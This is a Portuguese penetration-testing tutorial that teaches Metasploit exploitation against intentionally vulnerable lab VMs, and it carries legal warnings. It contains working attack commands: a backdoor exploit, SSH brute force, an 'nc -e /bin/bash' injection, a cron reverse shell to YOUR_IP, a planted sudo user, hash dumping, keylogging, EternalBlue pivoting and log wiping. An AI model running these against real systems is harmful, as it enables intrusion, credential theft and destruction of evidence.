O Caminho do Hacker: Série de 5 Partes
Parte 1: Introdução → Parte 2: Domínio do Flipper → Parte 3: Fundamentos do Kali → Parte 4: Exploitation → Parte 5: A Auditoria Completa
Nas Partes 1-3, você construiu seu toolkit. Consegue clonar crachás, mapear redes, capturar handshakes e identificar cada serviço rodando num alvo. Agora você vê vulnerabilidades em todo lugar. Mas ver uma vulnerabilidade e explorá-la são habilidades muito diferentes.
É aqui que as coisas ficam reais. Hoje você vai aprender a usar o Metasploit Framework, a mesma ferramenta usada por penetration testers profissionais no mundo todo. Vai explorar sua primeira vulnerabilidade, estabelecer persistence, escalar privilégios e aprender a fazer pivot numa rede.
A Linha que Você Não Deve Cruzar
Tudo neste artigo deve ser praticado em sistemas que você possui ou tem permissão escrita explícita para testar. Acesso não autorizado a sistemas computacionais é crime federal com penas de até 20 anos de prisão. "Eu estava só aprendendo" não é defesa. Monte um laboratório, use VMs intencionalmente vulneráveis e nunca toque em sistemas que não são seus.
Parte 1: Montando Seu Laboratório de Ataque
Antes de explorar qualquer coisa, você precisa de alvos. Penetration testers reais usam ambientes de laboratório isolados com máquinas intencionalmente vulneráveis. Você fará o mesmo.
A Configuração Essencial do Laboratório
O Que Você Vai Precisar
- Kali Linux VM - Sua máquina de ataque (da Parte 3)
- Metasploitable 2 - VM Linux intencionalmente vulnerável (SourceForge)
- Metasploitable 3 - VM vulnerável Windows/Linux (GitHub)
- DVWA - Damn Vulnerable Web Application (GitHub)
- VulnHub VMs - Máquinas vulneráveis estilo CTF (vulnhub.com)
Projeto: Configuração da Rede do Laboratório
Tempo: 45 minutos
- Baixe o Metasploitable 2 do SourceForge
- Importe no VirtualBox/VMware
- Configure a rede: Coloque tanto o Kali quanto o Metasploitable em "Host-Only" ou "Internal Network"
- Inicie o Metasploitable (login padrão:
msfadmin/msfadmin) - Anote o endereço IP:
ifconfig - Do Kali, verifique a conectividade:
ping METASPLOITABLE_IP - Execute o scan inicial:
sudo nmap -sV -sC METASPLOITABLE_IP
Verificação: Você deve ver dezenas de portas abertas. O Metasploitable foi projetado para ser comprometido.
Seu scan nmap do Metasploitable deve revelar serviços como FTP, SSH, Telnet, SMTP, HTTP, Samba, MySQL, PostgreSQL e outros, muitos rodando versões desatualizadas e vulneráveis. Este é seu campo de testes.
Parte 2: Fundamentos do Metasploit Framework
Metasploit não é apenas uma ferramenta. É um ecossistema. Contém milhares de exploits, payloads, módulos auxiliares e ferramentas de post-exploitation. Entender sua estrutura é essencial.
Iniciando o Metasploit
1# Initialize the database (first time only)
2sudo msfdb init
3
4# Start Metasploit console
5msfconsole
6
7# You'll see the Metasploit banner and prompt:
8msf6 >A Estrutura do Metasploit
O Metasploit organiza tudo em módulos:
- Exploits - Código que explora vulnerabilidades
- Payloads - Código executado após a exploração (shells, meterpreter)
- Auxiliary - Scanners, fuzzers e outros utilitários
- Post - Módulos de post-exploitation para persistence, pivoting
- Encoders - Ofuscação de payloads para evadir detecção
1# Search for modules
2msf6 > search type:exploit platform:linux smb
3
4# Search by CVE
5msf6 > search cve:2017-0144
6
7# Search by name
8msf6 > search vsftpd
9
10# Get info about a module
11msf6 > info exploit/unix/ftp/vsftpd_234_backdoorO Fluxo de Trabalho de Exploitation
Toda exploitation no Metasploit segue o mesmo padrão:
- Selecione um exploit -
use exploit/path/to/module - Configure as opções - IP do alvo, portas, credenciais
- Selecione um payload - O que roda após a exploração
- Execute -
exploitourun
Parte 3: Seu Primeiro Exploit
Vamos explorar um dos backdoors mais famosos da história: o backdoor vsftpd 2.3.4. Em 2011, alguém inseriu um backdoor no código-fonte do vsftpd. Se você enviar um nome de usuário terminando em :), um shell abre na porta 6200.
O Metasploitable 2 roda exatamente essa versão.
1# Start Metasploit
2msfconsole
3
4# Search for the exploit
5msf6 > search vsftpd
6
7# Select the exploit
8msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
9
10# View required options
11msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
12
13# Set the target
14msf6 exploit(...) > set RHOSTS 192.168.56.101
15
16# Run the exploit
17msf6 exploit(...) > exploit
18
19# If successful:
20[*] Command shell session 1 opened
21[+] Got shell!
22
23# You now have a root shell on the target
24whoami
25root
26id
27uid=0(root) gid=0(root)É isso. Um serviço vulnerável, um exploit, acesso root. É por isso que manter o software atualizado importa.
Projeto: Explorar o Backdoor vsftpd
Tempo: 15 minutos
Pré-requisitos: Metasploitable 2 rodando, Kali na mesma rede
- Verifique se o FTP está rodando:
nmap -sV -p 21 TARGET_IP - Inicie o msfconsole
- Procure, selecione e configure o exploit vsftpd
- Execute o exploit
- Após obter o shell, explore:
cat /etc/shadow
Critérios de sucesso: Você consegue ler /etc/shadow, que só o root pode acessar.
Parte 4: Entendendo Payloads
Um payload é o que roda após o exploit ter sucesso. O shell básico que obtivemos acima é simples, mas o Metasploit oferece opções muito mais poderosas.
Tipos de Payload
- Singles - Payloads autônomos, de uso único (adicionar usuário, executar comando)
- Stagers - Pequenos payloads que estabelecem conexão e depois baixam o payload principal
- Stages - O payload principal baixado pelo stager (Meterpreter)
1# List compatible payloads for current exploit
2msf6 exploit(...) > show payloads
3
4# Set a specific payload
5msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
6
7# Payload naming convention:
8# platform/arch/payload_type/connection_type
9# linux/x86/meterpreter/reverse_tcp
10# windows/x64/shell/bind_tcpReverse vs Bind Shells
- Reverse shell - O alvo se conecta de volta a você. Melhor para contornar firewalls (saída geralmente é permitida).
- Bind shell - O alvo abre uma porta para você se conectar. Mais fácil de detectar, frequentemente bloqueado por firewalls.
1# For reverse shells, you must set your IP
2msf6 exploit(...) > set LHOST YOUR_KALI_IP
3msf6 exploit(...) > set LPORT 4444
4
5# Metasploit starts a listener automatically when you exploitMeterpreter: O Payload Definitivo
O Meterpreter é o payload mais poderoso do Metasploit. Roda inteiramente em memória (sem arquivos no disco), fornece comunicação criptografada e inclui dezenas de comandos integrados para post-exploitation.
1# Meterpreter commands (once you have a session)
2meterpreter > sysinfo # System information
3meterpreter > getuid # Current user
4meterpreter > pwd # Current directory
5meterpreter > ls # List files
6meterpreter > download file # Download file to Kali
7meterpreter > upload file # Upload file to target
8meterpreter > shell # Drop to system shell
9meterpreter > hashdump # Dump password hashes
10meterpreter > screenshot # Take screenshot
11meterpreter > keyscan_start # Start keylogger
12meterpreter > keyscan_dump # Dump keystrokes
13meterpreter > background # Background this sessionParte 5: Mais Técnicas de Exploitation
Explorando Samba (SMB)
O Metasploitable 2 roda uma versão vulnerável do Samba. Isso é similar ao infame exploit EternalBlue usado no WannaCry.
1# Search for Samba exploits
2msf6 > search type:exploit samba
3
4# The "username map script" vulnerability
5msf6 > use exploit/multi/samba/usermap_script
6msf6 exploit(...) > set RHOSTS TARGET_IP
7msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
8msf6 exploit(...) > set LHOST YOUR_IP
9msf6 exploit(...) > exploit
10
11[*] Command shell session 2 openedExplorando Credenciais Fracas
Nem todo comprometimento requer uma vulnerabilidade de software. Senhas fracas estão em todo lugar.
1# SSH brute-force auxiliary module
2msf6 > use auxiliary/scanner/ssh/ssh_login
3msf6 auxiliary(...) > set RHOSTS TARGET_IP
4msf6 auxiliary(...) > set USERNAME root
5msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
6msf6 auxiliary(...) > set STOP_ON_SUCCESS true
7msf6 auxiliary(...) > run
8
9# For known credentials
10msf6 > use auxiliary/scanner/ssh/ssh_login
11msf6 auxiliary(...) > set USERNAME msfadmin
12msf6 auxiliary(...) > set PASSWORD msfadmin
13msf6 auxiliary(...) > run
14
15[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'Exploitation de Aplicações Web
O Metasploitable inclui várias aplicações web vulneráveis. Vamos explorar uma injeção de código PHP.
1# First, browse to http://TARGET/mutillidae/
2# Find the "User Lookup" page (vulnerable to SQLi and code injection)
3
4# Use Metasploit's web exploits
5msf6 > search type:exploit php
6
7# Or exploit manually with command injection:
8# In vulnerable input field:
9; cat /etc/passwd
10; nc -e /bin/bash YOUR_IP 4444Projeto: Explorar Três Serviços Diferentes
Tempo: 60 minutos
Alvo: Metasploitable 2
- Explore o backdoor vsftpd (FTP - porta 21) e obtenha root shell
- Explore o Samba usermap_script (SMB - porta 139/445) e obtenha root shell
- Quebre credenciais SSH (porta 22) usando auxiliary/scanner/ssh/ssh_login
- Documente cada exploitation: módulo usado, opções configuradas, resultado
Bônus: Explore as aplicações web na porta 80 e encontre vetores de exploitation manuais.
Parte 6: Post-Exploitation
Obter um shell é só o começo. Penetration tests reais exigem demonstrar o que um atacante poderia fazer com esse acesso. Isso é post-exploitation.
Coleta de Informações
1# From a Meterpreter session
2meterpreter > sysinfo
3Computer : metasploitable
4OS : Linux 2.6.24
5Architecture: i686
6Meterpreter : x86/linux
7
8# Network information
9meterpreter > ipconfig
10meterpreter > route
11meterpreter > arp1# From a regular shell
2cat /etc/passwd # All users
3cat /etc/shadow # Password hashes (requires root)
4cat /etc/hosts # Network mappings
5netstat -tulpn # Open ports
6ps aux # Running processes
7crontab -l # Scheduled tasksColeta de Credenciais
1# Dump password hashes
2meterpreter > hashdump
3root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
4msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bash1# Or from shell
2cat /etc/shadow
3
4# Crack hashes offline with John the Ripper
5john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
6
7# Or hashcat (faster with GPU)
8hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txtEstabelecendo Persistence
Persistence significa manter o acesso mesmo após reinicializações ou quando seu vetor de exploit inicial foi corrigido.
1# Add a new user with sudo access
2useradd -m -s /bin/bash hacker
3echo "hacker:password123" | chpasswd
4usermod -aG sudo hacker
5
6# Add SSH key for passwordless access
7mkdir /home/hacker/.ssh
8echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys
9
10# Cron-based reverse shell (reconnects every minute)
11echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
12
13# Metasploit persistence module
14meterpreter > run persistence -h
15meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IPPersistence = Evidência
Todo mecanismo de persistence deixa rastros. Num penetration test real, você documenta o que poderia fazer e depois limpa. Deixar backdoors em sistemas de clientes é antiprofissional e potencialmente ilegal. No seu laboratório, vá fundo, mas entenda as implicações.
Parte 7: Escalação de Privilégios
Frequentemente você obtém acesso inicial como um usuário de baixo privilégio. Escalar para root/admin geralmente é necessário para atingir os objetivos do teste.
Escalação de Privilégios no Linux
1# Current user context
2id
3whoami
4
5# SUID binaries (run as owner regardless of who executes)
6find / -perm -4000 -type f 2>/dev/null
7
8# World-writable directories
9find / -writable -type d 2>/dev/null
10
11# Sudo permissions
12sudo -l
13
14# Kernel version (for kernel exploits)
15uname -a
16
17# Running processes as root
18ps aux | grep root
19
20# Cron jobs
21cat /etc/crontab
22ls -la /etc/cron.*Scripts de Enumeração Automatizados
- LinPEAS - github.com/carlospolop/PEASS-ng
- LinEnum - github.com/rebootuser/LinEnum
- linux-exploit-suggester - GitHub
1# Upload and run LinPEAS
2# From Kali, host the script:
3python3 -m http.server 8000
4
5# From target:
6wget http://YOUR_IP:8000/linpeas.sh
7chmod +x linpeas.sh
8./linpeas.sh
9
10# LinPEAS highlights potential vectors in colors:
11# RED/YELLOW = Critical findings, likely exploitableVetores Comuns de Privesc no Linux
1# 1. Sudo misconfiguration
2sudo -l
3# If you see: (ALL) NOPASSWD: /usr/bin/vim
4sudo vim -c '!sh'
5# Instant root shell
6
7# 2. SUID binary exploitation
8# If /usr/bin/find has SUID bit:
9find . -exec /bin/sh -p \;
10
11# 3. Writable /etc/passwd
12# Generate password hash:
13openssl passwd -1 mypassword
14# Add to /etc/passwd:
15echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd
16
17# 4. Cron job exploitation
18# If a cron runs a writable script as root:
19echo 'chmod +s /bin/bash' >> /path/to/cron/script
20# Wait for cron, then:
21/bin/bash -p
22# Root shellEscalação de Privilégios no Windows
Se estiver testando alvos Windows (Metasploitable 3), as técnicas são diferentes:
1# From Meterpreter on Windows
2meterpreter > getuid
3Server username: VICTIM\lowpriv_user
4
5meterpreter > getsystem
6[+] ...got SYSTEM
7
8# If getsystem fails, try:
9meterpreter > run post/multi/recon/local_exploit_suggester
10
11# Or background and use specific exploit:
12meterpreter > background
13msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
14msf6 exploit(...) > set SESSION 1
15msf6 exploit(...) > exploitProjeto: Escalar de Usuário para Root
Tempo: 45 minutos
Cenário: Você tem acesso SSH ao Metasploitable como msfadmin (não root)
- SSH para o Metasploitable:
ssh msfadmin@TARGET - Execute
idpara confirmar que não é root - Verifique permissões sudo:
sudo -l - Procure binários SUID:
find / -perm -4000 2>/dev/null - Faça upload e execute o LinPEAS
- Identifique um vetor de privesc e explore-o
Objetivo: Obter root shell usando algo diferente de explorar um serviço de rede.
Parte 8: Pivoting
Pivoting é usar um sistema comprometido para atacar outros sistemas que não são diretamente acessíveis pela sua máquina de ataque. É assim que atacantes se movem lateralmente pelas redes.
O Cenário de Pivot
Imagine esta rede:
- Seu Kali: 192.168.1.100
- Host comprometido: 192.168.1.50 (também conectado à rede interna 10.0.0.0/24)
- Alvo: 10.0.0.10 (acessível apenas pelo 192.168.1.50)
Você não consegue alcançar 10.0.0.10 diretamente. Mas através do host comprometido, consegue.
Roteamento do Metasploit
1# After getting a Meterpreter session on the pivot host
2meterpreter > ipconfig
3# Shows two interfaces: 192.168.1.50 and 10.0.0.50
4
5meterpreter > run autoroute -s 10.0.0.0/24
6[+] Added route to 10.0.0.0/24 via session 1
7
8meterpreter > background
9
10# Now Metasploit routes 10.0.0.0/24 traffic through session 1
11msf6 > route print
12
13# Scan the internal network
14msf6 > use auxiliary/scanner/portscan/tcp
15msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
16msf6 auxiliary(...) > set PORTS 22,80,443,445
17msf6 auxiliary(...) > run
18
19# Exploit internal targets through the pivot
20msf6 > use exploit/windows/smb/ms17_010_eternalblue
21msf6 exploit(...) > set RHOSTS 10.0.0.10
22msf6 exploit(...) > exploitSOCKS Proxy para Acesso Completo
1# Set up a SOCKS proxy through Meterpreter
2msf6 > use auxiliary/server/socks_proxy
3msf6 auxiliary(...) > set SRVPORT 1080
4msf6 auxiliary(...) > run
5
6# Configure proxychains (/etc/proxychains4.conf)
7socks5 127.0.0.1 1080
8
9# Now any tool can access the internal network
10proxychains nmap -sT -Pn 10.0.0.10
11proxychains curl http://10.0.0.10
12proxychains ssh [email protected]SSH Tunneling (Sem Metasploit)
1# Dynamic port forwarding (SOCKS proxy)
2ssh -D 1080 user@pivot_host
3
4# Local port forwarding (specific port)
5ssh -L 8080:10.0.0.10:80 user@pivot_host
6# Now localhost:8080 reaches 10.0.0.10:80
7
8# Remote port forwarding (expose your service to internal network)
9ssh -R 4444:localhost:4444 user@pivot_host
10# Internal hosts can reach your port 4444 via pivot_host:4444Parte 9: Cobrindo Rastros
Penetration testers profissionais documentam seu acesso mas limpam depois. Entender como atacantes cobrem rastros também ajuda a detectar intrusões.
1# Clear bash history
2history -c
3cat /dev/null > ~/.bash_history
4
5# Clear auth logs (requires root)
6echo "" > /var/log/auth.log
7echo "" > /var/log/wtmp
8echo "" > /var/log/btmp
9
10# Remove specific log entries
11sed -i '/YOUR_IP/d' /var/log/auth.log
12
13# Timestomp (change file timestamps)
14touch -r /etc/passwd /path/to/your/file
15
16# Meterpreter
17meterpreter > clearev # Clear Windows event logs
18meterpreter > timestomp file -m "01/01/2020 12:00:00"Em Trabalhos Reais: Não Faça Isso
Pentesters profissionais documentam seu acesso e reportam suas descobertas. Não as escondem. Limpar logs destrói evidências que os defensores precisam para entender o caminho do ataque. Pratique estas técnicas apenas no seu ambiente de laboratório isolado.
O Caminho do Hacker
Uma série de 5 partes que leva você de curioso a capaz.
Parte 1: Introdução Parte 2: Domínio do Flipper Parte 3: Fundamentos do Kali Parte 4: Exploitation ✓ Parte 5: Auditoria Completa
Checklist da Parte 4
☐ Setup do Laboratório: Metasploitable 2 rodando, rede isolada configurada
☐ Metasploit: Banco de dados inicializado, navegação básica dominada
☐ Primeiro Exploit: Backdoor vsftpd explorado, root shell obtido
☐ Múltiplos Vetores: FTP, SMB explorados e credenciais SSH quebradas
☐ Post-Exploitation: Hashes de senha extraídos, sistema enumerado
☐ Escalação de Privilégios: Escalou de usuário para root sem exploit de rede
☐ Pivoting: Conceitos de autoroute e SOCKS proxy compreendidos
☐ Documentação: Todos os exploits documentados com passos e evidências
O Que Vem Depois
Você aprendeu a explorar vulnerabilidades, escalar privilégios e fazer pivot através de redes. Viu como rapidamente uma única fraqueza se torna um comprometimento total. Você entende o que penetration testers profissionais fazem.
Na Parte 5, juntamos tudo. Você conduzirá uma auditoria de segurança completa do início ao fim:
- Escopo e regras de engajamento
- Metodologia completa de reconhecimento
- Exploitation sistemático
- Post-exploitation abrangente
- Relatório profissional
- Recomendações de remediação
A Parte 5 é o ponto alto. Tudo que você aprendeu nesta série se une numa metodologia do mundo real que pode usar para avaliar a segurança de qualquer rede que esteja autorizado a testar.
Você aprendeu as técnicas. Agora aprende a metodologia. A Parte 5 transforma habilidades num fluxo de trabalho completo de penetration testing.
Nos vemos na Parte 5.